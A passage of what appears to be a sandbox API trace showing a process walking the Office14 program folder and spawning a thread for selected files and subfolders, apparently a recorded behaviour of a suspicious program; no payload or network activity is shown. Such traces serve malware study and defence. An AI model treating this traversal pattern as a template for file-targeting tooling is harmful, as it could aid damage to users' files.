ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x7b09, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.HLP", cAlternateFileName="")) returned 1 [0086.130] wcscmp (_String1="CGMIMP32.HLP", _String2=".") returned 1 [0086.130] wcscmp (_String1="CGMIMP32.HLP", _String2="..") returned 1 [0086.130] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44f4800, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44f4800, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0xdcc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CharSetTable.chr", cAlternateFileName="CHARSE~1.CHR")) returned 1 [0086.130] wcscmp (_String1="CharSetTable.chr", _String2=".") returned 1 [0086.130] wcscmp (_String1="CharSetTable.chr", _String2="..") returned 1 [0086.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85d510 [0086.130] wcscpy (in: _Dest=0x1b85d510, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.130] wcscat (in: _Dest=0x1b85d510, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.130] wcscat (in: _Dest=0x1b85d510, _Source="CharSetTable.chr" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" [0086.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x838 [0086.131] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22bf4c00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf0edea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x22bf4c00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x41f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLVIEW.EXE", cAlternateFileName="")) returned 1 [0086.131] wcscmp (_String1="CLVIEW.EXE", _String2=".") returned 1 [0086.131] wcscmp (_String1="CLVIEW.EXE", _String2="..") returned 1 [0086.131] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2149b700, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd24d9e80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2149b700, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xb0578, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMAX20.DLL", cAlternateFileName="")) returned 1 [0086.131] wcscmp (_String1="CMAX20.DLL", _String2=".") returned 1 [0086.131] wcscmp (_String1="CMAX20.DLL", _String2="..") returned 1 [0086.131] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x37160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFNOT32.EXE", cAlternateFileName="")) returned 1 [0086.131] wcscmp (_String1="CNFNOT32.EXE", _String2=".") returned 1 [0086.131] wcscmp (_String1="CNFNOT32.EXE", _String2="..") returned 1 [0086.131] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd24fffe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xcf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="CODEEDIT.DLL", cAlternateFileName="")) returned 1 [0086.132] wcscmp (_String1="CODEEDIT.DLL", _String2=".") returned 1 [0086.132] wcscmp (_String1="CODEEDIT.DLL", _String2="..") returned 1 [0086.132] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x337e5b00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6048cf10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x337e5b00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x2cb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTAB32.DLL", cAlternateFileName="")) returned 1 [0086.132] wcscmp (_String1="CONTAB32.DLL", _String2=".") returned 1 [0086.132] wcscmp (_String1="CONTAB32.DLL", _String2="..") returned 1 [0086.132] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6471c400, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x604b3070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6471c400, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x36580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContactPicker.dll", cAlternateFileName="CONTAC~1.DLL")) returned 1 [0086.132] wcscmp (_String1="ContactPicker.dll", _String2=".") returned 1 [0086.132] wcscmp (_String1="ContactPicker.dll", _String2="..") returned 1 [0086.132] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONVERT", cAlternateFileName="")) returned 1 [0086.132] wcscmp (_String1="CONVERT", _String2=".") returned 1 [0086.132] wcscmp (_String1="CONVERT", _String2="..") returned 1 [0086.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7a31f0 [0086.132] wcscpy (in: _Dest=0x1b7a31f0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.132] wcscat (in: _Dest=0x1b7a31f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.132] wcscat (in: _Dest=0x1b7a31f0, _Source="CONVERT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT" [0086.132] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a31f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x83c [0086.133] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18a49800, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa2045a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x18a49800, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x911b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA0009.DLL", cAlternateFileName="CSS7DA~3.DLL")) returned 1 [0086.133] wcscmp (_String1="CSS7DATA0009.DLL", _String2=".") returned 1 [0086.133] wcscmp (_String1="CSS7DATA0009.DLL", _String2="..") returned 1 [0086.133] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d4df100, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa6dee7e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3d4df100, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0xbb1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA000A.DLL", cAlternateFileName="CSS7DA~1.DLL")) returned 1 [0086.133] wcscmp (_String1="CSS7DATA000A.DLL", _String2=".") returned 1 [0086.133] wcscmp (_String1="CSS7DATA000A.DLL", _String2="..") returned 1 [0086.133] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64f18900, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa408e480, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x64f18900, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0xbb1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA000C.DLL", cAlternateFileName="CSS7DA~2.DLL")) returned 1 [0086.133] wcscmp (_String1="CSS7DATA000C.DLL", _String2=".") returned 1 [0086.134] wcscmp (_String1="CSS7DATA000C.DLL", _String2="..") returned 1 [0086.134] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ab7000, ftCreationTime.dwHighDateTime=0x1c8d9fe, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9ab7000, ftLastWriteTime.dwHighDateTime=0x1c8d9fe, nFileSizeHigh=0x0, nFileSizeLow=0x53f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Custom.propdesc", cAlternateFileName="CUSTOM~1.PRO")) returned 1 [0086.134] wcscmp (_String1="Custom.propdesc", _String2=".") returned 1 [0086.134] wcscmp (_String1="Custom.propdesc", _String2="..") returned 1 [0086.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85d590 [0086.134] wcscpy (in: _Dest=0x1b85d590, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.134] wcscat (in: _Dest=0x1b85d590, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.134] wcscat (in: _Dest=0x1b85d590, _Source="Custom.propdesc" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc") returned="C:\\Program Files\\Microsoft Office\\Office14\\Custom.propdesc" [0086.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x840 [0086.135] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b53d600, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd25e4820, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1b53d600, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x91170, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATAGATH.DLL", cAlternateFileName="")) returned 1 [0086.135] wcscmp (_String1="DATAGATH.DLL", _String2=".") returned 1 [0086.135] wcscmp (_String1="DATAGATH.DLL", _String2="..") returned 1 [0086.135] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf942ba0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x124578, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBENGR.DLL", cAlternateFileName="")) returned 1 [0086.135] wcscmp (_String1="DBENGR.DLL", _String2=".") returned 1 [0086.135] wcscmp (_String1="DBENGR.DLL", _String2="..") returned 1 [0086.135] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0086.135] wcscmp (_String1="DBGHELP.DLL", _String2=".") returned 1 [0086.135] wcscmp (_String1="DBGHELP.DLL", _String2="..") returned 1 [0086.135] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2630ae0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x183c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBSHARE.DLL", cAlternateFileName="")) returned 1 [0086.135] wcscmp (_String1="DBSHARE.DLL", _String2=".") returned 1 [0086.135] wcscmp (_String1="DBSHARE.DLL", _String2="..") returned 1 [0086.135] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2904500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x137b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBWIZ.DLL", cAlternateFileName="")) returned 1 [0086.135] wcscmp (_String1="DBWIZ.DLL", _String2=".") returned 1 [0086.135] wcscmp (_String1="DBWIZ.DLL", _String2="..") returned 1 [0086.135] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3242fa00, ftCreationTime.dwHighDateTime=0x1cb7017, ftLastAccessTime.dwLowDateTime=0xd2a812c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3242fa00, ftLastWriteTime.dwHighDateTime=0x1cb7017, nFileSizeHigh=0x0, nFileSizeLow=0x1a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGRMLNCH.DLL", cAlternateFileName="")) returned 1 [0086.135] wcscmp (_String1="DGRMLNCH.DLL", _String2=".") returned 1 [0086.135] wcscmp (_String1="DGRMLNCH.DLL", _String2="..") returned 1 [0086.135] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x1c770, dwReserved0=0x0, dwReserved1=0x0, cFileName="DLGSETP.DLL", cAlternateFileName="")) returned 1 [0086.135] wcscmp (_String1="DLGSETP.DLL", _String2=".") returned 1 [0086.135] wcscmp (_String1="DLGSETP.DLL", _String2="..") returned 1 [0086.135] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Parts", cAlternateFileName="DOCUME~1")) returned 1 [0086.136] wcscmp (_String1="Document Parts", _String2=".") returned 1 [0086.136] wcscmp (_String1="Document Parts", _String2="..") returned 1 [0086.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85d610 [0086.136] wcscpy (in: _Dest=0x1b85d610, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.136] wcscat (in: _Dest=0x1b85d610, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.136] wcscat (in: _Dest=0x1b85d610, _Source="Document Parts" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts") returned="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts" [0086.136] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85d610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x844 [0086.137] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff0d00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xcfd6d220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ff0d00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x1acf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1 [0086.137] wcscmp (_String1="DRILLDWN.DLL", _String2=".") returned 1 [0086.137] wcscmp (_String1="DRILLDWN.DLL", _String2="..") returned 1 [0086.137] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3357b00, ftCreationTime.dwHighDateTime=0x1cba075, ftLastAccessTime.dwLowDateTime=0xcfdb94e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa3357b00, ftLastWriteTime.dwHighDateTime=0x1cba075, nFileSizeHigh=0x0, nFileSizeLow=0x36160, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGCNV.DLL", cAlternateFileName="")) returned 1 [0086.137] wcscmp (_String1="DWGCNV.DLL", _String2=".") returned 1 [0086.137] wcscmp (_String1="DWGCNV.DLL", _String2="..") returned 1 [0086.137] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd00b3060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x8f3d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGDP.DLL", cAlternateFileName="")) returned 1 [0086.137] wcscmp (_String1="DWGDP.DLL", _String2=".") returned 1 [0086.137] wcscmp (_String1="DWGDP.DLL", _String2="..") returned 1 [0086.137] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2f6a020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x30968, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDITOR.EXE", cAlternateFileName="")) returned 1 [0086.137] wcscmp (_String1="EDITOR.EXE", _String2=".") returned 1 [0086.137] wcscmp (_String1="EDITOR.EXE", _String2="..") returned 1 [0086.137] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2f90180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xad88, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDITORS.DLL", cAlternateFileName="")) returned 1 [0086.137] wcscmp (_String1="EDITORS.DLL", _String2=".") returned 1 [0086.137] wcscmp (_String1="EDITORS.DLL", _String2="..") returned 1 [0086.137] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2fdc440, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x3f988, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELEMENTS.DLL", cAlternateFileName="")) returned 1 [0086.137] wcscmp (_String1="ELEMENTS.DLL", _String2=".") returned 1 [0086.137] wcscmp (_String1="ELEMENTS.DLL", _String2="..") returned 1 [0086.137] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd30c0c80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x237a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELEMUTIL.DLL", cAlternateFileName="")) returned 1 [0086.137] wcscmp (_String1="ELEMUTIL.DLL", _String2=".") returned 1 [0086.137] wcscmp (_String1="ELEMUTIL.DLL", _String2="..") returned 1 [0086.137] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x25b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMABLT32.DLL", cAlternateFileName="")) returned 1 [0086.137] wcscmp (_String1="EMABLT32.DLL", _String2=".") returned 1 [0086.137] wcscmp (_String1="EMABLT32.DLL", _String2="..") returned 1 [0086.138] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x60903850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x206fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMSMDB32.DLL", cAlternateFileName="")) returned 1 [0086.138] wcscmp (_String1="EMSMDB32.DLL", _String2=".") returned 1 [0086.138] wcscmp (_String1="EMSMDB32.DLL", _String2="..") returned 1 [0086.138] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5807500, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5807500, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x46c86, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGDIC.DAT", cAlternateFileName="")) returned 1 [0086.138] wcscmp (_String1="ENGDIC.DAT", _String2=".") returned 1 [0086.138] wcscmp (_String1="ENGDIC.DAT", _String2="..") returned 1 [0086.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b85d690 [0086.138] wcscpy (in: _Dest=0x1b85d690, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.138] wcscat (in: _Dest=0x1b85d690, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.138] wcscat (in: _Dest=0x1b85d690, _Source="ENGDIC.DAT" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ENGDIC.DAT") returned="C:\\Program Files\\Microsoft Office\\Office14\\ENGDIC.DAT" [0086.138] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x848 [0086.139] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, 